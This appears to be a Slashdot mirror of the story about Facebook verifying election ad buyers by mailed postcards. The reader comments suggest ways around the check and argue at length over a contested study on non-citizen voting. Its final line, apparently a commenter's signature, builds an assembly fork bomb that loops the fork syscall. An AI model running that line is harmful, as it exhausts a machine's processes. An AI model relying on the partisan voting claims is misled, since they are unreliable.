Slashdot Mirror
Facebook Plans To Use US Mail To Verify IDs of Election Ad Buyers (reuters.com)
Facebook will start using postcards sent by U.S. mail later this year to verify the identities and location of people who want to purchase U.S. election-related advertising on its site, a senior company executive said on Saturday. From a report: The postcard verification is Facebook's latest effort to respond to criticism from lawmakers, security experts and election integrity watchdog groups that it and other social media companies failed to detect and later responded slowly to Russia's use of their platforms to spread divisive political content, including disinformation, during the 2016 U.S. presidential election.
it verifies that you have obtained the information on a post card. Two simple ways of subverting it (you can probably dream up more):
* Set up postal redirection
* Offer someone a small payment: ''when you receive a postcard addressed to Mr Smith, use your mobile to send a photograph of it to me"
Read the rebuttals and the author's response to them. It's just the WashPo trying to discredit Inconvenient Truths.
Rebuttals
https://www.washingtonpost.com...
https://www.washingtonpost.com...
https://www.washingtonpost.com...
Author's response which seems to cover them all :
https://www.washingtonpost.com...
I think the authors are onto something. Their paper was peer reviewed too. And the peer reviewed paper the WashPo claims debunks it is in the same journal but is paywalled. Unlike theirs, which I linked to. It seems to be claiming their sample size is too small and that constitutes cherry picking.
tl;dr - they did a study which was very cautious about interpreting the data. Even that found evidence of 620,000 non citizens voting. People criticized them. They responded. Peer reviewed is not the same as 'true', and in fact can't be given both their paper and the paper critiquing it were published in the same journal.
And the comments are full of anecdotal evidence that illegals voting is well known.
It's true they said Trump's claim that non citizens voting accounted for all of Hillary's popular vote lead. However they reckon significant numbers of non citizens voted.
https://fs.wp.odu.edu/jrichman...
If the assumptions stated above concerning non-citizen turnout are correct, could non-citizen turnout account for Clintonâ(TM)s popular vote margin? There is no way it could have. 6.4 percent turnout among the roughly 20.3 million non-citizen adults in the US would add only 834,318 votes to Clintonâ(TM)s popular vote margin. This is little more than a third of the total margin.
Is it plausible that non-citizen votes added to Clintonâ(TM)s margin. Yes. Is it plausible that non-citizen votes account for the entire nation-wide popular vote margin held by Clinton? Not at all.
Then when that number got picked up by people they disagree with they disowned it
https://fs.wp.odu.edu/jrichman...
As a primary author cited in this piece, I need to say that I think the Washington Times article (http://m.washingtontimes.com/news/2017/jan/26/hillary-clinton-received-800000-votes-from-nonciti/) is deceptive. It makes it sound like I have done a study concerning the 2016 election. I have not. What extrapolation I did to the 2016 election (https://fs.wp.odu.edu/jrichman/2016/11/28/is-it-plausible-that-non-citizen-votes-account-for-the-entire-margin-of-trumps-popular-vote-loss-to-clinton/) was purely and explicitly and exclusively for the purpose of pointing out that my 2014 study of the 2008 election did not provide evidence of voter fraud at the level some Trump administration people were claiming it did. I do not think that one should rely upon that extrapolation for any other purpose. And I do not stand behind that extrapolation if used for ANY other purpose.
In the original article they point out things like
This post is not intended to make a specific claim on my part concerning how many non-citizens
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;